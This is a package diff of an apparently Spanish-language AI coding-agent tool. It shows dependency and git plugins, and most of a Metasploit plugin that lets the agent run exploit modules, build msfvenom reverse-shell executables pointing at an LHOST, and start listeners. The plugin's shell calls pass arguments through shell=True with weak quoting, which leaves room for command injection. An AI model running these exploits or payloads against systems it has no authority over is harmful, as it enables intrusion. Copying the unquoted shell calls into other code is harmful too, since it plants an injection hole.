hanuscode 1.0.0__py3-none-any.whl
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- hanus/__init__.py +5 -0
- hanus/__main__.py +10 -0
- hanus/action_handlers.py +76 -0
- hanus/action_parser.py +82 -0
- hanus/agent_runner.py +1445 -0
- hanus/analysis/__init__.py +5 -0
- hanus/analysis/debt.py +702 -0
- hanus/analysis/dependencies.py +475 -0
- hanus/cache/__init__.py +5 -0
- hanus/cache/response_cache.py +560 -0
- hanus/config.py +401 -0
- hanus/connectors/__init__.py +19 -0
- hanus/connectors/base.py +114 -0
- hanus/connectors/claude_connector.py +146 -0
- hanus/connectors/gemini_connector.py +141 -0
- hanus/connectors/glm_connector.py +160 -0
- hanus/connectors/ollama_connector.py +174 -0
- hanus/connectors/openai_connector.py +122 -0
- hanus/connectors/registry.py +26 -0
- hanus/context/__init__.py +7 -0
- hanus/context/manager.py +837 -0
- hanus/context/selective.py +626 -0
- hanus/error_recovery/__init__.py +5 -0
- hanus/error_recovery/auto_fix.py +605 -0
- hanus/hooks/__init__.py +5 -0
- hanus/hooks/manager.py +247 -0
- hanus/instincts/__init__.py +44 -0
- hanus/instincts/cli.py +372 -0
- hanus/instincts/detector.py +281 -0
- hanus/instincts/evolver.py +361 -0
- hanus/instincts/manager.py +343 -0
- hanus/instincts/types.py +253 -0
- hanus/logger.py +81 -0
- hanus/memory/__init__.py +8 -0
- hanus/memory/manager.py +265 -0
- hanus/memory/types.py +119 -0
- hanus/monitor.py +341 -0
- hanus/parallel/__init__.py +5 -0
- hanus/parallel/executor.py +300 -0
- hanus/permissions.py +182 -0
- hanus/plan/__init__.py +8 -0
- hanus/plan/mode.py +267 -0
- hanus/plan/models.py +152 -0
- hanus/plugin_manager.py +754 -0
- hanus/plugin_registry.py +391 -0
- hanus/plugins/__init__.py +1 -0
- hanus/plugins/arena.py +630 -0
- hanus/plugins/code_review.py +123 -0
- hanus/plugins/cortex.py +1750 -0
- hanus/plugins/deps_check.py +27 -0
- hanus/plugins/git_ops.py +33 -0
- hanus/plugins/metasploit.py +530 -0
- hanus/plugins/notes.py +583 -0
- hanus/plugins/search_code.py +59 -0
- hanus/plugins/searchsploit.py +495 -0
- hanus/plugins/strategist.py +175 -0
- hanus/plugins/webui.py +5200 -0
- hanus/profiles.py +479 -0
- hanus/profiles_builtin/__init__.py +0 -0
- hanus/profiles_builtin/architect/profile.yaml +12 -0
- hanus/profiles_builtin/architect/system_prompt.txt +71 -0
- hanus/profiles_builtin/deep/profile.yaml +12 -0
- hanus/profiles_builtin/deep/system_prompt.txt +66 -0
- hanus/profiles_builtin/developer/__init__.py +0 -0
- hanus/profiles_builtin/developer/profile.yaml +9 -0
- hanus/profiles_builtin/developer/system_prompt.txt +176 -0
- hanus/profiles_builtin/speed/profile.yaml +12 -0
- hanus/profiles_builtin/speed/system_prompt.txt +51 -0
- hanus/project_tools.py +177 -0
- hanus/query_engine.py +1594 -0
- hanus/rules/__init__.py +237 -0
- hanus/search/__init__.py +5 -0
- hanus/search/semantic.py +596 -0
- hanus/session_manager.py +547 -0
- hanus/skill_manager.py +702 -0
- hanus/skills/__init__.py +4 -0
- hanus/subagent/__init__.py +8 -0
- hanus/subagent/agents/__init__.py +253 -0
- hanus/subagent/manager.py +309 -0
- hanus/subagent/types.py +266 -0
- hanus/suggestions/__init__.py +5 -0
- hanus/suggestions/proactive.py +451 -0
- hanus/tasks/__init__.py +8 -0
- hanus/tasks/manager.py +330 -0
- hanus/tasks/models.py +106 -0
- hanus/terminal_prompt.py +166 -0
- hanus/tools.py +1849 -0
- hanus/ui.py +939 -0
- hanuscode-1.0.0.dist-info/METADATA +1151 -0
- hanuscode-1.0.0.dist-info/RECORD +93 -0
- hanuscode-1.0.0.dist-info/WHEEL +5 -0
- hanuscode-1.0.0.dist-info/entry_points.txt +2 -0
- hanuscode-1.0.0.dist-info/top_level.txt +1 -0
|
@@ -0,0 +1,27 @@
|
|
|
1
|
+
# plugins/deps_check.py — Análisis de dependencias
|
|
2
|
+
import subprocess
|
|
3
|
+
|
|
4
|
+
NAME = "deps_check"
|
|
5
|
+
DESCRIPTION = "Analiza dependencias Python: lista, desactualizadas, árbol"
|
|
6
|
+
USAGE = "list | outdated | tree"
|
|
7
|
+
AGENT_DOC = """
|
|
8
|
+
- <run_plugin name="deps_check" args="list"/> Lista todos los paquetes
|
|
9
|
+
- <run_plugin name="deps_check" args="outdated"/> Paquetes desactualizados
|
|
10
|
+
- <run_plugin name="deps_check" args="tree"/> Árbol de dependencias (requiere pipdeptree)
|
|
11
|
+
"""
|
|
12
|
+
|
|
13
|
+
def run(args: str = "") -> str:
|
|
14
|
+
cmd = args.strip().lower() or "list"
|
|
15
|
+
if cmd == "list": return _run_pip(["pip","list","--format=columns"])
|
|
16
|
+
if cmd == "outdated": return _run_pip(["pip","list","--outdated","--format=columns"])
|
|
17
|
+
if cmd == "tree":
|
|
18
|
+
out = _run_pip(["pipdeptree","--warn","silence"])
|
|
19
|
+
return out if "not found" not in out.lower() else "Instala pipdeptree: pip install pipdeptree\n\n" + _run_pip(["pip","list","--format=columns"])
|
|
20
|
+
return f"Comando '{cmd}' no reconocido. Usa: list, outdated, tree"
|
|
21
|
+
|
|
22
|
+
def _run_pip(command: list) -> str:
|
|
23
|
+
try:
|
|
24
|
+
r = subprocess.run(command, capture_output=True, text=True, timeout=30)
|
|
25
|
+
return (r.stdout or r.stderr).strip() or "Sin salida."
|
|
26
|
+
except FileNotFoundError: return f"Comando no encontrado: {command[0]}"
|
|
27
|
+
except Exception as e: return f"Error: {e}"
|
hanus/plugins/git_ops.py
ADDED
|
@@ -0,0 +1,33 @@
|
|
|
1
|
+
# plugins/git_ops.py — Operaciones Git avanzadas
|
|
2
|
+
import subprocess, shlex
|
|
3
|
+
from pathlib import Path
|
|
4
|
+
|
|
5
|
+
NAME = "git_ops"
|
|
6
|
+
DESCRIPTION = "Operaciones git: log, branch, stash, show, describe, remote"
|
|
7
|
+
USAGE = "log|branch|stash|show|remote [parámetros]"
|
|
8
|
+
AGENT_DOC = """
|
|
9
|
+
Ejemplos:
|
|
10
|
+
- <run_plugin name="git_ops" args="log --oneline -10"/>
|
|
11
|
+
- <run_plugin name="git_ops" args="branch -a"/>
|
|
12
|
+
- <run_plugin name="git_ops" args="stash list"/>
|
|
13
|
+
- <run_plugin name="git_ops" args="show HEAD"/>
|
|
14
|
+
- <run_plugin name="git_ops" args="remote -v"/>
|
|
15
|
+
"""
|
|
16
|
+
SAFE = {"log","branch","stash","show","describe","tag","shortlog","reflog","remote","fetch","cherry"}
|
|
17
|
+
|
|
18
|
+
def run(args: str = "") -> str:
|
|
19
|
+
if not args.strip():
|
|
20
|
+
return "Indica subcomando: log, branch, stash, show, remote, fetch…"
|
|
21
|
+
parts = shlex.split(args)
|
|
22
|
+
subcmd = parts[0].lower() if parts else ""
|
|
23
|
+
if subcmd not in SAFE:
|
|
24
|
+
return f"'{subcmd}' no permitido por seguridad. Usa exec_cmd para operaciones destructivas."
|
|
25
|
+
try:
|
|
26
|
+
r = subprocess.run(["git"]+parts, cwd=Path(".").resolve(),
|
|
27
|
+
capture_output=True, text=True, timeout=15)
|
|
28
|
+
out = r.stdout.strip(); err = r.stderr.strip()
|
|
29
|
+
return (f"[git {subcmd}] Error:\n{err or out}" if r.returncode != 0
|
|
30
|
+
else out or f"[git {subcmd}] OK (sin salida)")
|
|
31
|
+
except FileNotFoundError: return "git no encontrado en el PATH."
|
|
32
|
+
except subprocess.TimeoutExpired: return "Timeout ejecutando git."
|
|
33
|
+
except Exception as e: return f"Error: {e}"
|
|
@@ -0,0 +1,530 @@
|
|
|
1
|
+
# plugins/metasploit.py — Metasploit Framework Integration
|
|
2
|
+
"""
|
|
3
|
+
Plugin para interactuar con Metasploit Framework.
|
|
4
|
+
Permite ejecutar módulos, generar payloads, gestionar sesiones, etc.
|
|
5
|
+
|
|
6
|
+
Uso:
|
|
7
|
+
/metasploit search <módulo> — Buscar módulos
|
|
8
|
+
/metasploit info <módulo> — Info de un módulo
|
|
9
|
+
/metasploit run <módulo> [opts] — Ejecutar módulo
|
|
10
|
+
/metasploit payload <opts> — Generar payload con msfvenom
|
|
11
|
+
/metasploit sessions — Listar sesiones activas
|
|
12
|
+
/metasploit handler [opts] — Iniciar handler multi/handler
|
|
13
|
+
"""
|
|
14
|
+
from __future__ import annotations
|
|
15
|
+
import subprocess
|
|
16
|
+
import shlex
|
|
17
|
+
import re
|
|
18
|
+
import os
|
|
19
|
+
import tempfile
|
|
20
|
+
from pathlib import Path
|
|
21
|
+
from typing import List, Dict, Optional, Tuple
|
|
22
|
+
|
|
23
|
+
NAME = "metasploit"
|
|
24
|
+
DESCRIPTION = "Control de Metasploit Framework: módulos, payloads, sesiones"
|
|
25
|
+
USAGE = "<comando> [args...] | search <term> | info <module> | payload <opts>"
|
|
26
|
+
AGENT_DOC = """
|
|
27
|
+
Plugin para controlar Metasploit Framework.
|
|
28
|
+
|
|
29
|
+
Comandos disponibles:
|
|
30
|
+
- search <término> — Buscar módulos en Metasploit
|
|
31
|
+
- info <módulo> — Ver información detallada de un módulo
|
|
32
|
+
- run <módulo> [opciones] — Ejecutar un módulo con opciones
|
|
33
|
+
- payload <opciones> — Generar payload con msfvenom
|
|
34
|
+
- handler [LPORT] — Iniciar multi/handler
|
|
35
|
+
- sessions — Listar sesiones activas
|
|
36
|
+
- connect <host> <port> — Conectar a un servicio
|
|
37
|
+
- db_status — Estado de la base de datos
|
|
38
|
+
|
|
39
|
+
Ejemplos:
|
|
40
|
+
<run_plugin name="metasploit" args="search apache"/>
|
|
41
|
+
<run_plugin name="metasploit" args="info exploit/multi/http/apache_mod_cgi_bash_env_exec"/>
|
|
42
|
+
<run_plugin name="metasploit" args="payload windows/meterpreter/reverse_tcp LHOST=10.0.0.1 LPORT=4444 -f exe -o shell.exe"/>
|
|
43
|
+
<run_plugin name="metasploit" args="handler 4444"/>
|
|
44
|
+
"""
|
|
45
|
+
|
|
46
|
+
|
|
47
|
+
def _run_cmd(cmd: str, timeout: int = 120) -> Tuple[int, str, str]:
|
|
48
|
+
"""Ejecuta un comando y retorna (returncode, stdout, stderr)."""
|
|
49
|
+
try:
|
|
50
|
+
result = subprocess.run(
|
|
51
|
+
cmd,
|
|
52
|
+
shell=True,
|
|
53
|
+
capture_output=True,
|
|
54
|
+
text=True,
|
|
55
|
+
timeout=timeout
|
|
56
|
+
)
|
|
57
|
+
return result.returncode, result.stdout, result.stderr
|
|
58
|
+
except subprocess.TimeoutExpired:
|
|
59
|
+
return -1, "", "Timeout expirado"
|
|
60
|
+
except Exception as e:
|
|
61
|
+
return -1, "", str(e)
|
|
62
|
+
|
|
63
|
+
|
|
64
|
+
def _run_msf_rc(commands: List[str], timeout: int = 300) -> Tuple[int, str, str]:
|
|
65
|
+
"""Ejecuta comandos MSF desde un archivo RC temporal."""
|
|
66
|
+
with tempfile.NamedTemporaryFile(mode='w', suffix='.rc', delete=False) as f:
|
|
67
|
+
for cmd in commands:
|
|
68
|
+
f.write(cmd + '\n')
|
|
69
|
+
rc_file = f.name
|
|
70
|
+
|
|
71
|
+
try:
|
|
72
|
+
result = subprocess.run(
|
|
73
|
+
f"msfconsole -q -r {shlex.quote(rc_file)}",
|
|
74
|
+
shell=True,
|
|
75
|
+
capture_output=True,
|
|
76
|
+
text=True,
|
|
77
|
+
timeout=timeout
|
|
78
|
+
)
|
|
79
|
+
return result.returncode, result.stdout, result.stderr
|
|
80
|
+
except subprocess.TimeoutExpired:
|
|
81
|
+
return -1, "", "Timeout expirado"
|
|
82
|
+
finally:
|
|
83
|
+
os.unlink(rc_file)
|
|
84
|
+
|
|
85
|
+
|
|
86
|
+
def _search_module(term: str) -> str:
|
|
87
|
+
"""Busca módulos en Metasploit."""
|
|
88
|
+
# Usar msfconsole en modo batch para búsqueda
|
|
89
|
+
commands = [f"search {term}", "exit -y"]
|
|
90
|
+
retcode, stdout, stderr = _run_msf_rc(commands, timeout=60)
|
|
91
|
+
|
|
92
|
+
if not stdout.strip():
|
|
93
|
+
return f"No se encontraron módulos para: {term}"
|
|
94
|
+
|
|
95
|
+
# Parsear resultados
|
|
96
|
+
lines = stdout.strip().split('\n')
|
|
97
|
+
modules = []
|
|
98
|
+
in_results = False
|
|
99
|
+
|
|
100
|
+
for line in lines:
|
|
101
|
+
# Detectar inicio de resultados
|
|
102
|
+
if 'Matching Modules' in line or '----' in line:
|
|
103
|
+
in_results = True
|
|
104
|
+
continue
|
|
105
|
+
|
|
106
|
+
if not in_results:
|
|
107
|
+
continue
|
|
108
|
+
|
|
109
|
+
# Saltar líneas vacías o de separación
|
|
110
|
+
if not line.strip() or line.startswith('==='):
|
|
111
|
+
continue
|
|
112
|
+
|
|
113
|
+
# Parsear línea de módulo
|
|
114
|
+
# Formato: exploit/multi/http/xxx 2014-xx-xx excellent Apache xxx
|
|
115
|
+
parts = line.split()
|
|
116
|
+
if len(parts) >= 2 and '/' in parts[0]:
|
|
117
|
+
module_path = parts[0]
|
|
118
|
+
disclosure = parts[1] if len(parts) > 1 else ""
|
|
119
|
+
rank = parts[2] if len(parts) > 2 else ""
|
|
120
|
+
name = ' '.join(parts[3:]) if len(parts) > 3 else ""
|
|
121
|
+
modules.append({
|
|
122
|
+
'path': module_path,
|
|
123
|
+
'disclosure': disclosure,
|
|
124
|
+
'rank': rank,
|
|
125
|
+
'name': name
|
|
126
|
+
})
|
|
127
|
+
|
|
128
|
+
if not modules:
|
|
129
|
+
# Devolver salida original si no se pudo parsear
|
|
130
|
+
return stdout
|
|
131
|
+
|
|
132
|
+
output = [f"Módulos encontrados para '{term}': {len(modules)} resultados", "━" * 70]
|
|
133
|
+
|
|
134
|
+
for m in modules[:30]: # Limitar a 30 resultados
|
|
135
|
+
output.append(f" [{m['rank']:<10}] {m['path']}")
|
|
136
|
+
if m['name']:
|
|
137
|
+
output.append(f" {m['name'][:60]}")
|
|
138
|
+
|
|
139
|
+
if len(modules) > 30:
|
|
140
|
+
output.append(f"\n ... y {len(modules) - 30} más")
|
|
141
|
+
|
|
142
|
+
output.append(f"\nPara ver detalles: metasploit info <módulo>")
|
|
143
|
+
|
|
144
|
+
return "\n".join(output)
|
|
145
|
+
|
|
146
|
+
|
|
147
|
+
def _module_info(module_path: str) -> str:
|
|
148
|
+
"""Obtiene información de un módulo."""
|
|
149
|
+
commands = [f"info {module_path}", "exit -y"]
|
|
150
|
+
retcode, stdout, stderr = _run_msf_rc(commands, timeout=60)
|
|
151
|
+
|
|
152
|
+
if not stdout.strip():
|
|
153
|
+
return f"No se encontró el módulo: {module_path}"
|
|
154
|
+
|
|
155
|
+
# La salida ya está bien formateada por msfconsole
|
|
156
|
+
# Solo limpiar algunas líneas innecesarias
|
|
157
|
+
lines = stdout.strip().split('\n')
|
|
158
|
+
output_lines = []
|
|
159
|
+
skip_empty = False
|
|
160
|
+
|
|
161
|
+
for line in lines:
|
|
162
|
+
# Saltar líneas de metadatos del framework
|
|
163
|
+
if 'metasploit framework' in line.lower():
|
|
164
|
+
continue
|
|
165
|
+
if line.strip() == '' and skip_empty:
|
|
166
|
+
continue
|
|
167
|
+
output_lines.append(line)
|
|
168
|
+
skip_empty = line.strip() == ''
|
|
169
|
+
|
|
170
|
+
return "\n".join(output_lines)
|
|
171
|
+
|
|
172
|
+
|
|
173
|
+
def _run_module(module_path: str, options: Dict[str, str]) -> str:
|
|
174
|
+
"""Ejecuta un módulo con opciones."""
|
|
175
|
+
commands = [
|
|
176
|
+
f"use {module_path}",
|
|
177
|
+
]
|
|
178
|
+
|
|
179
|
+
# Configurar opciones
|
|
180
|
+
for key, value in options.items():
|
|
181
|
+
commands.append(f"set {key} {value}")
|
|
182
|
+
|
|
183
|
+
# Ver configuración
|
|
184
|
+
commands.append("show options")
|
|
185
|
+
|
|
186
|
+
# Ejecutar
|
|
187
|
+
commands.append("run -z") # -z para no interactivo
|
|
188
|
+
commands.append("exit -y")
|
|
189
|
+
|
|
190
|
+
retcode, stdout, stderr = _run_msf_rc(commands, timeout=300)
|
|
191
|
+
|
|
192
|
+
if not stdout.strip():
|
|
193
|
+
return f"Error ejecutando módulo: {stderr}"
|
|
194
|
+
|
|
195
|
+
return stdout
|
|
196
|
+
|
|
197
|
+
|
|
198
|
+
def _generate_payload(payload_type: str, options: Dict[str, str],
|
|
199
|
+
format_type: str = "exe", output_file: str = None) -> str:
|
|
200
|
+
"""Genera un payload con msfvenom."""
|
|
201
|
+
cmd_parts = ["msfvenom", "-p", payload_type]
|
|
202
|
+
|
|
203
|
+
# Añadir opciones del payload
|
|
204
|
+
for key, value in options.items():
|
|
205
|
+
cmd_parts.append(f"{key}={value}")
|
|
206
|
+
|
|
207
|
+
# Formato de salida
|
|
208
|
+
if format_type:
|
|
209
|
+
cmd_parts.extend(["-f", format_type])
|
|
210
|
+
|
|
211
|
+
# Archivo de salida
|
|
212
|
+
if output_file:
|
|
213
|
+
cmd_parts.extend(["-o", output_file])
|
|
214
|
+
|
|
215
|
+
cmd = " ".join(shlex.quote(p) if " " in p else p for p in cmd_parts)
|
|
216
|
+
|
|
217
|
+
retcode, stdout, stderr = _run_cmd(cmd, timeout=120)
|
|
218
|
+
|
|
219
|
+
if retcode != 0 and stderr:
|
|
220
|
+
# Verificar si es solo warning
|
|
221
|
+
if "Warning" in stderr and stdout:
|
|
222
|
+
pass # Continuar con el output
|
|
223
|
+
else:
|
|
224
|
+
return f"Error generando payload:\n{stderr}"
|
|
225
|
+
|
|
226
|
+
output = [f"Payload generado: {payload_type}", "━" * 60]
|
|
227
|
+
|
|
228
|
+
if output_file and Path(output_file).exists():
|
|
229
|
+
size = Path(output_file).stat().st_size
|
|
230
|
+
output.append(f"Archivo: {output_file} ({size:,} bytes)")
|
|
231
|
+
output.append(f"Formato: {format_type}")
|
|
232
|
+
else:
|
|
233
|
+
output.append("Payload (hex/base64):")
|
|
234
|
+
output.append(stdout[:500] if len(stdout) > 500 else stdout)
|
|
235
|
+
|
|
236
|
+
# Mostrar comando para handler
|
|
237
|
+
lhost = options.get('LHOST', 'TU_IP')
|
|
238
|
+
lport = options.get('LPORT', '4444')
|
|
239
|
+
output.append(f"\nPara recibir conexión, ejecuta:")
|
|
240
|
+
output.append(f" metasploit handler {lport}")
|
|
241
|
+
output.append(f"\nO en msfconsole:")
|
|
242
|
+
output.append(f" use exploit/multi/handler")
|
|
243
|
+
output.append(f" set PAYLOAD {payload_type}")
|
|
244
|
+
output.append(f" set LHOST {lhost}")
|
|
245
|
+
output.append(f" set LPORT {lport}")
|
|
246
|
+
output.append(f" run")
|
|
247
|
+
|
|
248
|
+
return "\n".join(output)
|
|
249
|
+
|
|
250
|
+
|
|
251
|
+
def _start_handler(lport: str = "4444", payload: str = None, lhost: str = "0.0.0.0") -> str:
|
|
252
|
+
"""Inicia un handler multi/handler."""
|
|
253
|
+
if not payload:
|
|
254
|
+
payload = "windows/meterpreter/reverse_tcp"
|
|
255
|
+
|
|
256
|
+
# Crear archivo RC para handler persistente
|
|
257
|
+
handler_rc = f"""use exploit/multi/handler
|
|
258
|
+
set PAYLOAD {payload}
|
|
259
|
+
set LHOST {lhost}
|
|
260
|
+
set LPORT {lport}
|
|
261
|
+
set ExitOnSession false
|
|
262
|
+
run -j
|
|
263
|
+
"""
|
|
264
|
+
|
|
265
|
+
# Guardar en directorio del usuario
|
|
266
|
+
hanus_dir = Path.home() / ".hanus"
|
|
267
|
+
hanus_dir.mkdir(exist_ok=True)
|
|
268
|
+
rc_file = hanus_dir / "handler.rc"
|
|
269
|
+
rc_file.write_text(handler_rc)
|
|
270
|
+
|
|
271
|
+
output = [
|
|
272
|
+
f"Handler configurado en puerto {lport}",
|
|
273
|
+
"━" * 60,
|
|
274
|
+
f"Payload: {payload}",
|
|
275
|
+
f"LHOST: {lhost}",
|
|
276
|
+
f"LPORT: {lport}",
|
|
277
|
+
"",
|
|
278
|
+
"Archivo RC creado:",
|
|
279
|
+
f" {rc_file}",
|
|
280
|
+
"",
|
|
281
|
+
"Para iniciar el handler:",
|
|
282
|
+
f" msfconsole -q -r {rc_file}",
|
|
283
|
+
"",
|
|
284
|
+
"O ejecuta en una terminal aparte:",
|
|
285
|
+
f" msfconsole -q -x 'use exploit/multi/handler; set PAYLOAD {payload}; set LHOST {lhost}; set LPORT {lport}; run'"
|
|
286
|
+
]
|
|
287
|
+
|
|
288
|
+
return "\n".join(output)
|
|
289
|
+
|
|
290
|
+
|
|
291
|
+
def _list_sessions() -> str:
|
|
292
|
+
"""Lista sesiones activas de Metasploit."""
|
|
293
|
+
commands = ["sessions -l", "exit -y"]
|
|
294
|
+
retcode, stdout, stderr = _run_msf_rc(commands, timeout=30)
|
|
295
|
+
|
|
296
|
+
if not stdout.strip():
|
|
297
|
+
return "No hay sesiones activas o msfrpcd no está corriendo."
|
|
298
|
+
|
|
299
|
+
# Buscar patrón de sesiones
|
|
300
|
+
if "No active sessions" in stdout:
|
|
301
|
+
return "No hay sesiones activas."
|
|
302
|
+
|
|
303
|
+
return stdout
|
|
304
|
+
|
|
305
|
+
|
|
306
|
+
def _connect_service(host: str, port: str) -> str:
|
|
307
|
+
"""Conecta a un servicio y ejecuta comandos básicos de enumeración."""
|
|
308
|
+
commands = [
|
|
309
|
+
f"connect {host} {port}",
|
|
310
|
+
"exit -y"
|
|
311
|
+
]
|
|
312
|
+
retcode, stdout, stderr = _run_msf_rc(commands, timeout=30)
|
|
313
|
+
|
|
314
|
+
if not stdout.strip():
|
|
315
|
+
return f"Error conectando a {host}:{port}"
|
|
316
|
+
|
|
317
|
+
return stdout
|
|
318
|
+
|
|
319
|
+
|
|
320
|
+
def _db_status() -> str:
|
|
321
|
+
"""Verifica el estado de la base de datos de Metasploit."""
|
|
322
|
+
commands = ["db_status", "exit -y"]
|
|
323
|
+
retcode, stdout, stderr = _run_msf_rc(commands, timeout=30)
|
|
324
|
+
|
|
325
|
+
if not stdout.strip():
|
|
326
|
+
return "No se pudo verificar el estado de la DB."
|
|
327
|
+
|
|
328
|
+
return stdout
|
|
329
|
+
|
|
330
|
+
|
|
331
|
+
def _list_workspaces() -> str:
|
|
332
|
+
"""Lista workspaces de la base de datos."""
|
|
333
|
+
commands = ["workspace", "exit -y"]
|
|
334
|
+
retcode, stdout, stderr = _run_msf_rc(commands, timeout=30)
|
|
335
|
+
|
|
336
|
+
return stdout if stdout.strip() else "No hay workspaces o DB no conectada."
|
|
337
|
+
|
|
338
|
+
|
|
339
|
+
def _exploit_template(module_path: str) -> str:
|
|
340
|
+
"""Genera una plantilla para usar un módulo de exploit."""
|
|
341
|
+
# Obtener info del módulo
|
|
342
|
+
commands = [f"info {module_path}", "exit -y"]
|
|
343
|
+
retcode, stdout, stderr = _run_msf_rc(commands, timeout=60)
|
|
344
|
+
|
|
345
|
+
# Parsear opciones requeridas
|
|
346
|
+
required_options = []
|
|
347
|
+
in_options = False
|
|
348
|
+
|
|
349
|
+
for line in stdout.split('\n'):
|
|
350
|
+
if 'Required Options' in line or 'Basic options' in line:
|
|
351
|
+
in_options = True
|
|
352
|
+
continue
|
|
353
|
+
if in_options:
|
|
354
|
+
if line.strip() == '' or line.startswith('==='):
|
|
355
|
+
break
|
|
356
|
+
# Parsear opción
|
|
357
|
+
parts = line.split()
|
|
358
|
+
if len(parts) >= 2:
|
|
359
|
+
opt_name = parts[0]
|
|
360
|
+
required = 'required' in line.lower() or '*' in line
|
|
361
|
+
if required and opt_name not in ['Name', 'Current', 'Required']:
|
|
362
|
+
required_options.append(opt_name)
|
|
363
|
+
|
|
364
|
+
output = [
|
|
365
|
+
f"PLANTILLA PARA: {module_path}",
|
|
366
|
+
"━" * 60,
|
|
367
|
+
"",
|
|
368
|
+
"En msfconsole:",
|
|
369
|
+
f" use {module_path}",
|
|
370
|
+
]
|
|
371
|
+
|
|
372
|
+
for opt in required_options:
|
|
373
|
+
output.append(f" set {opt} <VALOR>")
|
|
374
|
+
|
|
375
|
+
output.append(" run")
|
|
376
|
+
output.append("")
|
|
377
|
+
output.append("O usar plugin metasploit:")
|
|
378
|
+
output.append(f" metasploit run {module_path} RHOSTS=<target> ...")
|
|
379
|
+
|
|
380
|
+
output.append("")
|
|
381
|
+
output.append("O como RC file:")
|
|
382
|
+
output.append(f" use {module_path}")
|
|
383
|
+
|
|
384
|
+
for opt in required_options:
|
|
385
|
+
output.append(f" set {opt} VALUE")
|
|
386
|
+
|
|
387
|
+
output.append(" run")
|
|
388
|
+
|
|
389
|
+
return "\n".join(output)
|
|
390
|
+
|
|
391
|
+
|
|
392
|
+
def run(args: str = "") -> str:
|
|
393
|
+
"""Punto de entrada del plugin."""
|
|
394
|
+
if not args.strip():
|
|
395
|
+
return f"Uso: {USAGE}\n\n{AGENT_DOC}"
|
|
396
|
+
|
|
397
|
+
parts = args.strip().split(maxsplit=2)
|
|
398
|
+
cmd = parts[0].lower()
|
|
399
|
+
cmd_args = parts[1:] if len(parts) > 1 else []
|
|
400
|
+
|
|
401
|
+
# ── SEARCH ────────────────────────────────────────────────────────────
|
|
402
|
+
if cmd == "search":
|
|
403
|
+
if not cmd_args:
|
|
404
|
+
return "Uso: search <término>"
|
|
405
|
+
|
|
406
|
+
term = " ".join(cmd_args)
|
|
407
|
+
return _search_module(term)
|
|
408
|
+
|
|
409
|
+
# ── INFO ───────────────────────────────────────────────────────────────
|
|
410
|
+
if cmd == "info":
|
|
411
|
+
if not cmd_args:
|
|
412
|
+
return "Uso: info <módulo>\nEjemplo: info exploit/multi/http/apache_mod_cgi_bash_env_exec"
|
|
413
|
+
|
|
414
|
+
module_path = cmd_args[0]
|
|
415
|
+
return _module_info(module_path)
|
|
416
|
+
|
|
417
|
+
# ── RUN ────────────────────────────────────────────────────────────────
|
|
418
|
+
if cmd == "run":
|
|
419
|
+
if not cmd_args:
|
|
420
|
+
return "Uso: run <módulo> [OPCIONES...]\nEjemplo: run exploit/multi/http/test RHOSTS=192.168.1.1"
|
|
421
|
+
|
|
422
|
+
module_path = cmd_args[0]
|
|
423
|
+
options = {}
|
|
424
|
+
|
|
425
|
+
for arg in cmd_args[1:]:
|
|
426
|
+
if '=' in arg:
|
|
427
|
+
key, value = arg.split('=', 1)
|
|
428
|
+
options[key.strip()] = value.strip()
|
|
429
|
+
|
|
430
|
+
return _run_module(module_path, options)
|
|
431
|
+
|
|
432
|
+
# ── PAYLOAD ────────────────────────────────────────────────────────────
|
|
433
|
+
if cmd == "payload":
|
|
434
|
+
if not cmd_args:
|
|
435
|
+
return """Uso: payload <tipo> [opciones]
|
|
436
|
+
|
|
437
|
+
Ejemplos:
|
|
438
|
+
payload windows/meterpreter/reverse_tcp LHOST=10.0.0.1 LPORT=4444
|
|
439
|
+
payload linux/x86/meterpreter/reverse_tcp LHOST=10.0.0.1 -f elf -o shell.elf
|
|
440
|
+
payload windows/meterpreter/reverse_https LHOST=10.0.0.1 LPORT=443 -f exe -o shell.exe
|
|
441
|
+
|
|
442
|
+
Payloads comunes:
|
|
443
|
+
windows/meterpreter/reverse_tcp — Windows Meterpreter TCP
|
|
444
|
+
windows/meterpreter/reverse_https — Windows Meterpreter HTTPS
|
|
445
|
+
linux/x86/meterpreter/reverse_tcp — Linux Meterpreter
|
|
446
|
+
php/meterpreter/reverse_tcp — PHP Meterpreter
|
|
447
|
+
java/jsp_shell_reverse_tcp — Java JSP Shell
|
|
448
|
+
"""
|
|
449
|
+
|
|
450
|
+
payload_type = cmd_args[0]
|
|
451
|
+
options = {}
|
|
452
|
+
format_type = "exe"
|
|
453
|
+
output_file = None
|
|
454
|
+
|
|
455
|
+
for arg in cmd_args[1:]:
|
|
456
|
+
if arg.startswith('-f='):
|
|
457
|
+
format_type = arg[3:]
|
|
458
|
+
elif arg == '-f' and cmd_args.index(arg) + 1 < len(cmd_args):
|
|
459
|
+
format_type = cmd_args[cmd_args.index(arg) + 1]
|
|
460
|
+
elif arg.startswith('-o='):
|
|
461
|
+
output_file = arg[3:]
|
|
462
|
+
elif arg == '-o' and cmd_args.index(arg) + 1 < len(cmd_args):
|
|
463
|
+
output_file = cmd_args[cmd_args.index(arg) + 1]
|
|
464
|
+
elif '=' in arg:
|
|
465
|
+
key, value = arg.split('=', 1)
|
|
466
|
+
options[key.strip()] = value.strip()
|
|
467
|
+
|
|
468
|
+
return _generate_payload(payload_type, options, format_type, output_file)
|
|
469
|
+
|
|
470
|
+
# ── HANDLER ────────────────────────────────────────────────────────────
|
|
471
|
+
if cmd == "handler":
|
|
472
|
+
lport = cmd_args[0] if cmd_args else "4444"
|
|
473
|
+
payload = None
|
|
474
|
+
|
|
475
|
+
for arg in cmd_args[1:]:
|
|
476
|
+
if arg.startswith('PAYLOAD='):
|
|
477
|
+
payload = arg.split('=', 1)[1]
|
|
478
|
+
|
|
479
|
+
return _start_handler(lport, payload)
|
|
480
|
+
|
|
481
|
+
# ── SESSIONS ───────────────────────────────────────────────────────────
|
|
482
|
+
if cmd == "sessions":
|
|
483
|
+
return _list_sessions()
|
|
484
|
+
|
|
485
|
+
# ── CONNECT ─────────────────────────────────────────────────────────────
|
|
486
|
+
if cmd == "connect":
|
|
487
|
+
if len(cmd_args) < 2:
|
|
488
|
+
return "Uso: connect <host> <puerto>"
|
|
489
|
+
|
|
490
|
+
return _connect_service(cmd_args[0], cmd_args[1])
|
|
491
|
+
|
|
492
|
+
# ── DB ──────────────────────────────────────────────────────────────────
|
|
493
|
+
if cmd == "db":
|
|
494
|
+
return _db_status()
|
|
495
|
+
|
|
496
|
+
# ── WORKSPACE ───────────────────────────────────────────────────────────
|
|
497
|
+
if cmd == "workspace":
|
|
498
|
+
